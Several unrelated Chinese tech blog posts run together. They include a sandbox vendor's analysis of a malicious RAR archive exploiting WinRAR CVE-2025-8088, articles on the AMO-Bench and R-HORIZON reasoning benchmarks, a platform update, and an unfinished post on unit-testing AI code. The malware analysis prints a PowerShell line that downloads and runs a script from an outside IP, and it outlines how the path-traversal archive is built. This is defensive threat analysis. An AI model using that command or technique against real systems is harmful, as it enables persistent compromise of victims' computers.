实际上,CompileAgent在我们先前发布的ReCopilot项目的数据构建过程中起到了重要作用。我们使用它自动化编译了上百个开源项目,构建了9,733个 artifact-level 二进制文件,节省了约7人天的枯燥劳动时间,模型推理开销仅约100元人民币。

「ReCopilot由奇安信技术研究院星图实验室研发, 是一个基于大模型的二进制程序分析辅助系统,利用人工智能增强逆向工程工作流程,为人类逆向工程师提供帮助以提升效率。公开Demo:https://tqgpt.qianxin.com/recopilot

更多参考

想了解更多技术细节?欢迎阅读我们的学术论文或访问项目主页:

感谢您的阅读,期待CompileAgent能为您的研究带来启发!

一、简介

近期,WinRAR 曝出存在目录穿越漏洞(CVE-2025-8088),攻击者可构造恶意压缩包实现目录穿越,将任意文件写入到系统盘的任意位置。攻击者利用此漏洞可将恶意载荷(Payload)释放到 Windows 系统的“启动”文件夹下,当用户下次登录系统时,恶意代码将被自动执行,攻击者可获得主机的持久化控制权。该漏洞影响所有版本号 < 7.13 的 WinRAR,建议各位读者立即升级至 WinRAR 7.13 或更高版本。

自漏洞曝出,天穹团队积极扫描线上样本,检测到存在利用 CVE-2025-8088 的压缩包恶意样本,沙箱已于第一时间对该攻击样本进行分析,并确认天穹沙箱可以有效检测利用此漏洞的恶意行为,保护用户免受其害。

二、样本信息

  • 样本名:【内部资料】研发部门员工薪资单.rar
  • SHA1:67F6B3530D0D017040873246B4A592F09470FFCC
  • 文件类型:RAR Archive Data (v5)
  • 诱饵文件:【内部资料】研发部门员工薪资单.txt
  • 关联载荷:start.bat

三、样本分析

行为分析

该压缩包内部包含一个名为【内部资料】研发部门员工薪资单.txt的诱饵文件和一个名为 start.bat 的 Payload 文件,使用包含 CVE-2025-8088 漏洞的 WinRAR 解压该样本时将执行以下操作:

  • 在当前目录释放诱饵文件【内部资料】研发部门员工薪资单.txt
  • 在用户自启动目录释放 start.bat 文件,其内容为远程执行 PS1 文件。

当受害者重启电脑后,释放在自启动目录的 bat 文件会被执行触发恶意行为。

沙箱分析

将该样本投递至天穹沙箱,从压缩包检测部分可以看到,沙箱准确识别出漏洞信息诱饵文件恶意载荷路径,如图1所示。

图1 压缩包检测

通过动态分析可以看到,沙箱检测到样本将 start.bat 写入 c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ 目录,且进程的执行者为 winrar.exe,如图2所示。

图2 创建开启自启动脚本

单独分析 BAT 脚本,解密后其主体内容如下:

1IEX (New-Object System.Net.WebClient).DownloadString(‘http://47.82.111.137:666/reflection.ps1’)

由动态分析进程树部分可见,沙箱捕获到样本执行 Powershell 命令,如图3所示。

图3 执行Powershell命令

样本尝试下载并执行该 ps1 文件,如图4所示。

图4 远程下载ps1脚本并执行

由于该下载地址已死亡,无法进一步分析后续行为。

漏洞利用攻击链分析

该漏洞的核心利用方式是将 RAR5 文件头篡改与 NTFS 备用数据流(ADS)相结合。

  1. 载荷隐藏:攻击者首先将恶意载荷(如 1.bat )附加到一个无害的诱饵文件(如 decoy.txt )的 NTFS 备用数据流(ADS)中,这使得载荷在文件管理器中不可见,增加了隐蔽性。
  2. 构造基础包:攻击者使用官方的 WinRAR 命令行工具,将被附加了 ADS 的诱饵文件正常打包。这一步骤中 RAR 文件会记录下 ADS 的流名称,需要注意的是,WinRAR 在打包时禁止写入 ../ 这类可能造成目录穿越的路径,所以此处会先用占位符填充,如 X,但需要保证路径长度和修改后的路径长度一致,这样便于后续填充,如图5所示。
图5 原始RAR文件
  1. 路径篡改:这是最关键的一步。攻击者以二进制方式打开上一步骤生成的 RAR 文件,在文件头(File Header)中搜索记录 ADS 流名称的位置,并将其替换为精心构造的路径遍历字符串,例如:..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat
  2. 校验和修复:直接修改文件头会破坏文件 CRC32 校验和,导致 WinRAR 报错。为了使恶意压缩包能够被正常解压,攻击者会重新计算被篡改过的文件头的 CRC32 值写回文件,如图6所示。
图6 修改后的RAR文件

文件分析

通过分析发现,该样本使用了 \..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 进行目录穿越,当用户在 DownloadsDocumentsDesktop 和其他类似目录解压时,可顺利将 bat 脚本释放到用户自启动目录,如图7所示。此攻击方式的优点是无需知晓用户名,且用户下载压缩包时通常保存的目录就在 Downloads 目录。

图7 目录穿越路径

四、IOC

恶意文件(SHA256)

15123d998f3f2c1c6bead26f9ea102b5e46710cf1b0699f9b455a80af8e383155

恶意链接

1http[:]//47.82.111.137[:]666/reflection.ps1

报告链接

漏洞利用分析报告:天穹沙箱分析报告

压缩包文件分析报告:天穹沙箱分析报告

一、升级与优化

天穹智能分析平台近期完成全面升级,新增多项功能,并根据用户反馈进行了系统性优化。本次升级重点体现在以下三个方面:

  1. 情报智能体正式上线;
  2. 智能问答响应速度显著提升;
  3. 样本与网络地址详情页全面更新。

平台地址:天穹智能分析平台

接下来,我们将详细介绍每一项升级内容。

二、情报智能体正式上线

在此前的更新中,我们已经通过天穹沙箱的智能拓线功能初步体验了智能体的便捷与强大。本次更新,我们正式将情报智能体引入智能搜索,极大提升了智能体在面对复杂问题的处理能力,并能进一步提升回答深度和广度。

下面,我们以情报狩猎固件下载三个领域为示例,演示在哪些场景可开启智能体,以及如何使用智能体。

情报分析

例如,我们要求智能体针对以下情报问题进行深度分析:

🔍 分析APT37组织在过去一年的活动,并对收集的IOC进行分析和拓线

在搜索框输入问题,点击智能体按钮,即可开启智能体模式,如图1所示:

图1 开启智能体模式

接下来,我们会进入智能体页面,智能体首先会根据问题制定一份详细的方案,此模式为计划模式,如图2所示:

图2 计划模式

询问用户是否确认此方案,如图3所示:

图3 方案确认

如果对方案不满意,可以选择否,并提出其他需求。例如,我们要求智能体进一步查询样本的沙箱分析报告,如图4所示:

图4 修改方案

将需求发送后,智能体会重新制定一份方案。如图5所示,在新的方案中已经包含了提的新需求:

图5 按照要求重新制定方案

确认方案后,智能体将进入执行模式

在页面左侧天穹智能体部分,我们可以看到智能体的工具调用信息,包括工具名、调用参数和工具返回结果,如图6所示:

图6 工具调用

在右侧的智能体思维链部分,我们可以看到智能体对每一轮操作的描述和总结,方便随时查看智能体任务进度,如图7所示:

图7 智能体思维链

值得一提的是,本次升级上线了12款MCP工具,涵盖以下四个领域:

  • 情报检索
  • APT组织画像
  • 样本拓线
  • IOC查询

后续我们会持续关注与更新,引入更多强大和实用的MCP工具,进一步拓展智能体的能力边界。另外,您可以查看工具调用参数、返回结果和思维链,深入了解MCP工具和智能体。

任务完成后,右侧将展示完整的分析报告,顶部可复制、全屏查看、下载报告,如图8所示。此前的思维链将默认折叠,可滑动到报告底部展开查看。

图8 智能体分析报告

以下是智能体生成的完整分析报告,可看到智能体收集了一年以来有关APT37组织的情报,给出了详细的攻击时间线,并按照要求对IOC进行进一步拓线分析,如图9所示:

图9 APT37分析报告

如果对输出报告不满意,可以要求智能体进一步修改,如图10所示,智能体将重新生成报告,此处不再赘述。

图10 答案确认

威胁狩猎

在日常样本分析过程中,我们常常需要搜索特定名称、家族、时间范围等特征的样本,例如:

🔍 收集近期文件名中包含”名单”、“票”或“简历”的高危样本

可以看到,智能体不仅准确列出了样本IOC信息,还按照静态、动态对样本进行分类,并进一步对样本进行了关联分析,输出内容详实可靠,如图11所示:

图11 威胁狩猎报告

固件下载

对于IoT设备分析人员而言,精准定位特定型号与版本的官方固件下载地址是开展安全研究的关键前置步骤。例如:

🔍 查找 TP-Link Archer VR400 固件下载地址

智能体成功识别并汇总了该设备多个官方固件版本的下载链接,同时标注了每个固件的文件大小,便于用户快速比对与选择。更重要的是,智能体还对所有链接进行了威胁情报筛查,主动过滤非官方来源、第三方托管或已失效的链接,确保结果安全、可靠、有效,显著提升研究人员的工作效率与安全性,如图12所示。

图12 固件下载报告

三、响应速度显著提升

通过持续资源升级与模型优化,智能问答的响应速度大幅提升,回答耗时由原来的1分30秒缩短至30秒,如图13所示。

图13 速度对比

四、详情页全面更新

此前版本的样本和网络地址详情页存在信息密度低、内容不全的问题,经过全面改进,新版详情页信息密度显著提升,能够展示更多高价值数据,以下是具体的升级内容。

样本详情页

样本详情页在升级后,可以更加便捷的查看样本关联情报、引擎告警、静态信息、网络行为、沙箱报告和威胁配置,如图14所示:

图14 样本详情页升级前后对比

网络详情页

网络地址详情页在升级后,可以更加便捷的查看网络地址关联情报、关联样本、和 Whois 信息,如图15所示:

图15 网络详情页升级前后对比

五、 技术支持与反馈

天穹智能分析平台持续迭代升级,致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。

如果您希望深入了解平台功能,或在使用过程中遇到任何问题,欢迎随时联系我们。您的反馈,是我们进步的重要动力!

大模型的“推理能力”能让机器具备与人类相似的认知和行为能力,能像人一样理解、思考、学习并解决复杂问题。而在众多推理能力评测场景中,数学推理任务是当前衡量和追踪模型推理能力进展的 “黄金标尺”。与此同时,主流数学推理评测体系正面临关键瓶颈:部分顶尖模型在常用的数学推理评测任务中,如 AIME24/25 的正确率已突破 90%,评测区分度大幅下降,难以再有效牵引模型向更高阶推理能力进化;此外,现有基准大多源于公开竞赛题库,存在数据穿越风险。

在此背景下,美团 LongCat 团队发布数学推理评测基准—— AMO-Bench 。该评测集共包含 50 道竞赛专家原创试题, 所有题目均对标甚至超越 IMO 竞赛难度。目前,头部大模型在 AMO-Bench 上的最好表现也尚未及格,SOTA 性能仅为 52.4%,绝大多数模型正确率低于 40%。AMO-Bench 既揭示出当前大语言模型在处理复杂推理任务上的局限性,同时也为模型推理能力的进一步提升树立了新的的标杆。

顶级推理模型在 AMO‑Bench 以及 AIME24/25、HMMT25、MATH500 数学基准测试上的性能

AMO-Bench 的评测榜单将保持更新,欢迎持续关注:

一、评测现状:老题库 “失效”,行业亟需高难度原创基准

现有数学评测 benchmark 因出现严重的性能饱和问题,已无法有效指引头部大语言模型推理能力的进一步提升。一方面,随着 AIME、HMMT 等竞赛题库的公开,模型有可能通过训练数据 “背诵答案”,成绩可信度存疑;另一方面,随着模型的快速迭代升级,现有评测榜单上头部模型的得分趋同,因此逐渐失去鉴别模型能力差异的价值。为进一步提升评测集的难度,已有工作考虑直接使用 IMO 等等有挑战性的竞赛原题对模型进行评测。然而,现有 IMO 题目仍以证明题为主,极度依赖人工批改模型的复杂证明过程,单题批改需 30 分钟以上,评测效率低下且易受主观因素影响。

当前行业迫切需要一套 “高难度 + 原创 + 可自动化” 的评测方案。在这一背景下,AMO-Bench 的推出直击行业痛点—— 50 道竞赛专家原创题目、对标甚至超越 IMO 的试题难度、配套高效高准确率的自动化打分算法,为大模型推理能力评测提供了可落地的新标杆。

二、AMO-Bench:高难度数学推理评测的 “行业新标杆”

AMO-Bench 拥有一套系统化的数据构建逻辑、清晰的数据难度特征与针对性的模型打分算法,为行业提供了一套可信赖且置信的评测方案。

2.1 AMO-Bench 的构建

为打造兼具高质量、强原创性与高挑战性的数据集,LongCat 团队构建了一套 “数据创建 - 质量审查 - 原创性审查 - 难度审查” 全链路流程。

数据创建:专家原创,自带 “解题说明书”

  • 题目由具备数学奥林匹克竞赛获奖经历或相关竞赛出题经验的顶尖专家独立设计,每道试题不仅提供最终答案,还详细撰写了 step-by-step 解题路径 —— 从关键定理应用到逻辑推导节点,每一步都清晰标注,既为后续审查提供依据,也为模型错误分析预留 “参考坐标”。

质量审查:三重盲审,杜绝 “题不对标”

  • 每道题需经 3 位以上专家 “盲审”质检,重点核查两大核心:一是题目表述与解题逻辑是否无歧义,避免因题干模糊导致的模型误判;二是所需数学知识是否严格匹配数学奥赛考察的知识范围(如代数、几何、数论等核心领域),确保不超纲、不偏题,真正考验模型的推理能力。

原创性审查:题库匹配 + 人工核验,切断 “数据穿越”

  • 采用 “技术核验 + 专家经验” 双重保障:通过 n-gram 文本匹配与互联网检索等方式,与 AIME24/25 等主流竞赛数据集和在线数据库进行比对,排除与现有数据资源中高度相似的题目;同时依靠专家经验进行人工核验,确保与过往竞赛题无高度重合,杜绝模型 “背答案” 的可能。

难度审查:双标筛选,确保 “够硬核”

  • 采用双重难度筛选标准来保证每一道题目都具备足够挑战性:首先使用国内外最顶尖模型进行筛选,要求至少 2 款模型在 3 次独立测试中无法全部答对;其次候选题目需要经过第三方专家进行二次审核题目难度,确保题目难度不低于 IMO 标准。

2.2 数据集:覆盖核心领域,推理复杂度显著升级

AMO-Bench 的 50 道题目覆盖数学奥赛核心领域,且从解题复杂度上实现对现有基准的全面超越。

题目分类:覆盖五大核心领域

参照国际数学竞赛官方竞赛大纲,题目被划分为五大类:代数方程与不等式(11 题,占比 22%)、函数与数列(13 题,占比 26%)、几何(5 题,占比 10%)、数论(9 题,占比 18%)、组合数学(12 题,占比 24%),覆盖数学奥赛核心知识点,考察模型在不同领域是否存在能力短板。

AMO‑Bench 问题类别分布

解题复杂度:答案长度远超传统基准

通过对比大模型在 AMO-Bench 和现有数学评测集上的输出长度,可以看到,随着数据集难度的提升,模型表现在逐渐走低的同时,其输出 token 数量也会大幅增加。

大模型在 AMO-Bench 上的解题步骤长度显著长于现有 AIME/HMMT 等评测集,这意味着 AMO-Bench 的题目需要模型构建更长、更复杂的逻辑链才能解答,本质上更具挑战性,能更精准地检验大模型的深度数学推理能力。

不同数学基准测试上模型准确率和平均输出长度的对比

2.3 评分方法:兼顾 “自动化” 与 “准确性”

AMO-Bench 的问题答案类型可以概括为四种类型,为兼顾打分准确率和打分效率,我们针对不同的答案类型匹配相应的评分方式:

  1. 数值 / 集合 / 变量表达式类(39 题):采用 “parser-based 自动评分”,要求模型将答案按指定格式(答案)输出,使用 Math-Verify 工具核验模型结果与标准答案的等价性;

  2. 描述性答案(11 题):采用 “LLM 评分 + Majority Voting”,在实验中使用了 o4-mini(Low)为评分模型,对同一答案进行 5 次独立评分采样,取多数结果作为最终得分,以减小打分模型采样的波动性。

为了验证打分方案的准确率,我们随机抽取了 10 款不同模型生成的 1000 组答案打分结果进行人工检查,结果显示 AMO-Bench 的评分方案准确率高达 99.2%,为大规模自动化评测提供了坚实保障。

示例一:数值答案

示例二:集合答案

示例三:变量表达式答案

示例四:描述性答案

三、实验与分析:AMO-Bench 揭示大模型数学推理的能力边界

为全面揭示当前大模型数学推理的能力边界,LongCat 团队分别从 “开源 / 闭源”和“推理 / 非推理” 两方面共筛选了 26 个头部大语言模型,真实的反应了当前主流模型在数学推理能力上的实际表现。

3.1 整体能力格局:顶尖模型仍 “不及格”,能力梯度差异显著

从核心指标来看,当前大部分大模型在 AMO-Bench 上的表现远未达及格水平,且不同类型模型间呈现明显能力分层:

主流模型在 AMO‑Bench 上的表现(AVG@32)

  • 闭源推理模型领跑,仍有巨大提升空间:表现最优的 GPT-5-Thinking(High)正确率仅 52.4%,且大部分模型表现低于 40%,即便头部闭源模型,也未突破 “及格线”,凸显 IMO 级难度的原创题对当前 AI 的挑战性;
  • 开源模型仍有差距,但已在全力追赶:开源模型中 Qwen3-235B-A22B-Thinking-2507 正确率为 47.8%,DeepSeek-V3.1-Thinking 为 47.6%,距离最好表现的 GPT-5 仍有一定差距,但已明显超越 o4-mini 和 Gemini-2.5-Pro,展示出开源模型奋起直追的势头。

3.2 推理效率关联:Test-Time Scaling 效果显著

通过分析模型在 AMO-Bench 上输出长度与模型表现的关系,LongCat 团队指出,当前 test-time scaling 仍然是提升模型推理表现的有效手段

  • 高得分模型依赖更多 token 输出:AVG@32 超 40% 的模型(如 GPT-5-Thinking、DeepSeek-V3.1-Thinking),平均输出 token 量均超 35K,意味着当前的头部推理模型能通过构建显著更长的逻辑链来达到更好的解题表现。
  • 同系列模型迭代体现效率提升:以 o 系列模型为例,o4-mini(High)在相近 token 量下,正确率(40.2%)显著高于 o3-mini(High)(32.3%);DeepSeek-V3.1-Thinking 较前代 DeepSeek-R1-0528,则进一步用更少 token(32K vs 38K)实现了更高正确率(47.6% vs 34.3%),证明新一代模型可以用更高的效率获取更强的推理性能。

模型性能与平均输出长度的对比

  • 推理投入与得分呈对数线性增长:同一模型正确率与输出长度对数呈近线性正相关,且这一趋势与现有工作在 MATH500、AIME24 等基准上的实验观察一致,证明增加推理计算投入仍是提升模型解决复杂任务能力的有效路径。

不同推理 Effort 设置下的模型性能和输出长度的关系

3.3 潜在能力挖掘:模型多次尝试下的探索潜力

通过进一步分析模型的 “Pass@k” 表现(k 次尝试至少答对 1 次),LongCat 团队指出,前沿推理模型如 GPT-5-Thinking(High)、DeepSeek-V3.1-Thinking 等在 AMO-Bench 上能达到 Pass@32 超 70%,表明当前大模型暗含解决难题的潜力,其性能仍有巨大提升空间。

模型 Pass@K 指标变化趋势图

四、总结与展望

综上,AMO-Bench 相比 AIME24/25 等主流数学评测集具备了更好的区分度和模型提升空间,同时通过 IMO 级别的原创题解决了因数据泄露的潜在风险造成的评估失真问题,以及凭借 99.2% 的高打分准确率保证了自动化评测的准确性。未来,美团 LongCat 团队将持续更新 AMO-Bench 评测集,扩大题目覆盖类型与优化评测方案,同时会进一步探索包括通用和学科推理在内的高难度评测集建设,助力业界大模型在推理能力上的持续提升。

一、推理模型⾯临的新挑战

随着 OpenAI o1 、 DeepSeek-R1 等大型推理模型(LRMs)的问世, AI 推理能力迎来了「测试时扩展」的新阶段。这些模型通过长链思维(Long Chain-of-Thought, CoT)在数学推理、代码生成、智能体任务等领域展现出强大能力。

然而,现有评测体系存在一个关键盲区:主流基准测试(如 MATH500 、AIME)主要关注独立的单一问题,每个问题相互隔离,模型只需「—问—答」即可。

但现实应用场景往往大相径庭:

  • 软件开发中需要连续处理多个关联代码模块
  • 数学证明需要基于前序推导逐步构建后续结论
  • 智能助手往往需要在多轮交互逐步完成复杂任务

这些真实场景要求模型具备跨任务的长链推理能力——不仅要解决单个子问题,更要在多个关联任务间保持推理—致性、合理分配计算资源、实现跨步骤的反思与纠错。

核心问题:当前大型推理模型的长链推理能力边界到底在哪里?

由于现有评测无法回答这—问题,传统训练数据也难以培养这种能力(如图所示,模型在长程推理场景下表现明显退化)。

图 1:R1  系列模型在长程推理场景下的理论准确率与实际准确率对比

复旦大学与美团 LongCat 联合推出 R-HORIZON——首个系统性评估与增强 LRMs 长链推理能力的评测框架与训练方法。

二、方法论:Query Composition 范式

核心创新

R-HORIZON 提出了问题组合(Query Composition)方法,通过构建问题间的依赖关系,将孤立任务转化为复杂的多步骤推理链。

以数学任务为例,该方法包含三个步骤:

1. 信息提取:从独立问题中提取核心数值、变量等关键信息
2. 依赖构建:将前序问题的答案嵌入到后续问题的条件中
3. 链式推理:模型必须顺序解决所有子问题才能获得最终答案

方法优势

  • 灵活扩展:可自由控制推理链长度(n = 2, 4, 8…)
  • 精确可控:可灵活设定问题间的依赖强度
  • 高效低成本:基于现有数据集构建,无需额外人工标注

基于此方法,我们构建了 R-HORIZON Benchmark 用于系统性评估 LRMs 的多步推理能力,同时生成了长链推理训练数据,通过强化学习(RLVR)提升模型性能。

图 2:R-HORIZON 方法流程——从单 — 问题到复杂推理链的转化及应用场景

三、评测基准:R-HORIZON Benchmark

数据集构成

基于 Query Composition 方法,我们构建了涵盖 6 个代表性数据集的 R-HORIZON Benchmark:

评测发现:性能断崖现象

我们评测了 20+ 个主流 LRMs(包括 o4-mini 、Claude-Sonnet-4 、 DeepSeek-R1 等顶级商业模型及开源模型),揭示了—个重要现象。

顶级推理模型在长链推理场景下均出现显著性能下降!

主要发现:

  • 普遍性能退化:所有模型随问题数量增加均出现明显性能下降。DeepSeek-R1 在 AIME25 单问题场景准确率达 87.3%,但在 5 个组合问题场景下骤降至 24.6%。
  • 规模效应:更大规模的模型对多步推理挑战表现出更强的鲁棒性。
  • 任务差异:代码生成任务相比数学任务表现出更陡峭的性能衰退;多数推理模型在网页搜索场景中丧失工具调用能力。

图 3:R-HORIZON Benchmark  评测结果—— 所有模型均出现显著性能衰退

四、机制分析:推理模型的三大瓶颈

为深入理解性能断崖的成因,我们进行了系统的机制分析,识别出当前 LRMs 的三个关键瓶颈:

瓶颈 1:有效推理长度受限

随着相互依赖问题数量增加,LRMs 难以维持原有性能水平。实际准确率与理论准确率之间的差距显著扩大。

深入分析显示:

  • 模型错误集中在特定上下文范围内
  • 7B 模型的主要错误范围在 (4-6K tokens)
  • 32B 模型将范围扩展到 (8-10K tokens)
  • 更大模型具有更长的有效推理边界

图 4:R1-Qwen-7B 和 R1-Qwen-32B  的准确率及错误位置分析

瓶颈 2: 反思机制高度局部化

对模型「反思」行为的分析发现发现:

  • 模型反思频率随问题数量增加而上升并趋于收敛。
  • 超过半数复杂任务 完全缺乏 长程反思 (跨越当前问题的反思)。
  • 当前 LRMs 的反思机制 高度局部化,无法支撑长链场景需求。

图 5:MATH500  数据集上的反思行为分析

瓶颈 3:思考预算分配失衡

最令人意外的发现:包括 DeepSeek-R1 在内的主流 LRMs 无法有效分配思考预算

  • 模型倾向于过度分配 tokens 给早期推理阶段
  • 未能合理分配资源给后续关键问题
  • 这种失衡严重影响整体推理链的完成质量

图 6:不同组合问题数量下各模型的思考预算分配

五、 训练方案:突破能力边界

发现瓶颈后,我们进—步探索:能否通过长链数据的强化学习训练突破这些限制?

训练策略

我们基于 R-HORIZON 构建的长链推理数据,采用 GRPO 算法进行训练:

  • 算法:主流 RLVR 算法 GRPO
  • 数据: R-HORIZON 组合数据(n = 2, n = 4)
  • 实验:不同奖励函数的对比实验

训练效果:双重性能提升

实验结果显示:R-HORIZON 训练不仅显著提升长链任务表现,单问题性能也大幅增强!

核心数据

注:加粗数字表示该列最佳成绩

图 7:不同训练配置下的性能对比

关键发现

  1. 双重提升:使用 n = 2 组合问题训练,多步推理性能大幅提升(AIME24 n = 2 +17.4 分),单问题性能也显著增强(AIME24 单题 +7.5 分)。
  2. 可扩展性:增加组合复杂度(n = 4)增强了模型处理更多推理步骤问题的能力,在 MATH500 (n = 8) 上达到 50.6%。

训练带来的质变

R-HORIZON 训练带来了推理机制的深层改变:

  • 更高效的推理长度:显著改善组合任务性能,更好地泛化到更长推理链,同时缓解「overthinking」现象
  • 更合理的预算分配:学会在多步问题中进行更合理的 token 预算分配
  • 更长程的反思能力:促进了长程反思频率增加,直接改善长链推理性能

图 8:使用标准数据集和组合数据集进行强化学习的效果分析

六、结论与展望

R-HORIZON 标志着大型推理模型研究的范式转变——从「能解决什么问题」到「能走多远」。

技术贡献

  • 首个长链推理评测基准:系统性揭示 LRMs 的能力边界及三大瓶颈。
  • 可扩展训练范式:提供低成本、高效率的能力提升路径。
  • 深度机制分析:为未来推理模型改进指明方向。

AI生成代码质量难以把控!本文分享来自美团的技术实践,三大策略破解AI编程痛点。单测快速验证逻辑正确性,安全网保护存量代码演进,TDD模式精准传递需求。告别「看起来没问题」的错觉,构建AI时代的代码质量保障体系。

一、引言

目前,国内外很多AI Coding助手能在几秒钟内生成完整代码块,大大提升了开发效率,但这种高速开发模式也带来了潜在风险——与人工编码不同是,AI Coding助手生成代码存在两个特殊风险:其一,AI Coding助手依赖于上下文与模型自身的能力,输出的代码质量相对不可控。其二,AI生成的代码虽然逻辑通顺、结构完整,但可能隐藏着难以察觉的边界问题或逻辑缺陷。

核心问题:我们如何快速的验证AI生成代码的质量和可靠性?

本文旨在分享如何借助单元测试,让AI编程合作更高效可靠,主要解决三个常见痛点:

  1. 肉眼审查困境:AI一次性生成大量代码时,难以快速准确判断逻辑完备性;
  2. 存量代码信任危机:如何验证AI修改老代码时,不会产生非预期的结果;
  3. 需求传达难题:如何精准向AI表达复杂需求并快速验证。

针对上述三个常见痛点,本文提出采用不同的单元测试策略来应对以上问题。每个策略都针对一个特定痛点设计:策略一通过测试解决肉眼审查的局限性;策略二构建单测安全网应对存量代码的信任问题;策略三则采用TDD模式优化需求传达与验证流程。下文将依次展开说明,希望能对大家有所帮助或启发。

二、策略一:单测检验AI代码逻辑正确性

2.1 问题背景

传统的人工代码审查在AI生成的大量代码面前显得低效且不可靠。在软件测试实践中,有着测试左移(Shift Left Testing)的概念,本质上是借助工具和测试手段更早地发现问题和预防问题。在AI Coding时代,这一理念尤为关键:跳过单元测试直接集成测试看似”抄近路”,实则是将风险后置——开发阶段几分钟能发现的Bug,在集成测试环境可能需要较长定位修复,这中间包含了代码部署、环境准备、测试条件的准备、问题定位、开发人员修复、再次部署验证等一系列漫长的环节。

相比之下,单元测试具有独特的优势:它能够独立运行、快速验证结果,并且可以无限次重复执行。这种测试方式就像是为项目进行的一次性投资,却能为整个开发周期构建起一张可靠的“安全网”。它不仅能实时验证AI Coding生成的代码是否正确,更能持续保障未来代码的质量稳定性,让开发团队始终对代码库保持信心。

2.2 案例:分页查询接口的隐蔽Bug

任务背景:实现一个支持多条件筛选的复杂分页查询接口pageQueryRobot

AI生成了如下核心查询逻辑:

public List<AgentRobotE> pageQueryRobotsByCondition(List<Long> shopIds, String chatSceneCode,
        Boolean enabled, Integer pageNo, Integer pageSize) {
    // ... 前置校验代码 ...

    // 分页查询机器人基础信息
    int offset = (pageNo - 1) * pageSize;
    List<AgentRobotEntity> entities = robotIds.stream()
            .skip(offset)
            .limit(pageSize)
            .map(robotId -> agentRobotDAO.getRobotById(robotId, false))
            .filter(Objects::nonNull)
            // 问题代码:类型不匹配的隐蔽Bug
            .filter(entity -> enabled == null || Objects.equals(entity.getEnabled(), enabled ? 1 : 0))
            .filter(entity -> Objects.equals(entity.getChatSceneCode(), chatSceneCode))
            .collect(Collectors.toList());

    return entities.stream()
            .map(this::convertToModel)
            .filter(Objects::nonNull)
            .collect(Collectors.toList());
}

问题分析:这段代码看起来逻辑完整,但第8行的过滤逻辑包含了多个复杂元素:

  • 三元运算符 enabled ? 1 : 0
  • Objects.equals 的使用
  • Boolean到Integer的隐式逻辑转换

仅凭肉眼很难发现其中的类型不匹配问题。

单元测试发现问题:通过AI编写了17个全面的单元测试用例,覆盖:

  • 正常场景:各种有效参数组合
  • 边界场景:null值、空集合处理
  • 参数组合:enabled为true/false/null的不同情况
@Test
public void testPageQueryWhenEnabledIsTrue() {
    // arrange
    List<Long> shopIds = Arrays.asList(12345L, 67890L);
    String chatSceneCode = "SCENE_C";
    Boolean enabled = true;  // 测试enabled为true的情况

    // 模拟数据库返回的实体,enabled字段为Boolean类型
    AgentRobotEntity mockEntity = new AgentRobotEntity();
    mockEntity.setEnabled(true);  // 注意:这里是Boolean类型
    mockEntity.setChatSceneCode("SCENE_C");

    when(agentRobotDAO.getRobotById(anyLong(), eq(false))).thenReturn(mockEntity);

    // act
    List<AgentRobotE> result = repository.pageQueryRobotsByCondition(
        shopIds, chatSceneCode, enabled, 1, 10);

    // assert - 这个测试失败了!
    assertEquals(1, result.size());  // 期望返回1个结果,实际返回0个
}

测试运行结果:当enabled为true时测试失败!

问题定位:通过测试失败,快速定位到过滤逻辑的问题:

// 错误的逻辑:entity.getEnabled()返回Boolean类型,但与Integer比较
Objects.equals(entity.getEnabled(), enabled ? 1 : 0)
// 当enabled=true时,比较的是 Objects.equals(Boolean.TRUE, 1) -> false
// 当enabled=false时,比较的是 Objects.equals(Boolean.TRUE, 0) -> false

正确修复:

// 修复后:直接比较Boolean类型
.filter(entity -> enabled == null || Objects.equals(entity.getEnabled(), enabled))

意外收获:在审查测试覆盖的代码时,还发现了N+1查询的性能问题:

// 存在性能问题的代码
.map(robotId -> agentRobotDAO.getRobotById(robotId, false))  // 每个robotId单独查询

成果验证:修复后,所有17个单元测试用例全部通过,代码质量得到保障。

三、策略二:构建安全网保护存量代码

3.1 问题场景

AI对存量代码的修改挑战更大。AI看到的可能只是函数或类的局部,无法理解背后的业务规则和历史包袱。如何放心的让AI修改已有的代码?

在进行AI Coding前,需要确保旧有逻辑,处于单元测试的完全覆盖保护中,这就像在开启汽车的“自动辅助驾驶”功能前,必须先系好安全带一样。这条“安全带”就是我们完善的、可运行的单元测试集。

  • 快速验证,精准反馈:AI生成修改后的代码无需人工逐行对比,只需运行单元测试即可获得即时反馈。测试失败的用例直接揭示AI修改中存在的问题——要么触及了不应改动的逻辑,要么未能正确实现预期变更。这种反馈机制既高效又客观。
  • 清晰界定修改边界:单元测试结果帮助我们明确判断——AI的修改是否精准实现了目标?在引入新功能的同时是否完整保留了原有逻辑?通过区分预期内的失败(主动修改旧逻辑)和意外失败(破坏现有功能),我们获得了优化AI方案的明确方向,大幅提升了迭代效率。

3.2 案例:延迟回复策略的用户范围扩展

业务背景:需要将消息延迟回复服务从原来的平台A、平台B的用户扩展到平台C用户。

原始代码分析:

// TextDelayReplyStrategy.java 中的核心逻辑
private boolean needSkip(ChatHistoryE chatHistoryE) {
    UserDTO UserDTO = UserHelper.parseUser(chatHistoryE.getUserId());
    return MessageSendDirectionEnum.CLIENT_SEND.value != chatHistoryE.getMessageStatus()
               || MessageShieldEnum.RECEIVER_SHIELD.value == chatHistoryE.getShield()
               || UserDTO == null
               || !UserType.isLoginUser(UserDTO.getUserType());  // 关键判断逻辑
}

这个needSkip方法决定了哪些用户类型需要跳过延迟回复处理。原逻辑中,UserType.isLoginUser()只覆盖平台A、平台B的登录用户,不包括平台C用户。

修改前的安全网构建:

按照“分析-测试-实施-验证”方法论,首先完善单元测试:

// 针对现有逻辑的保护性测试
@Test
public void testNeedSkipWithAUser() {
    // 平台A用户不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(A_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));
}

@Test
public void testNeedSkipWithBUser() {
    // 平台B用户不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(B_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));
}

@Test
public void testNeedSkipWithCUser() {
    // 平台C在修改前应被跳过
    ChatHistoryE chatHistory = buildChatHistory(C_USER_ID);
    assertTrue(strategy.needSkip(chatHistory));  // 修改前的预期行为
}

@Test
public void testNeedSkipWithGuestUser() {
    // 游客用户应被跳过
    ChatHistoryE chatHistory = buildChatHistory(GUEST_USER_ID);
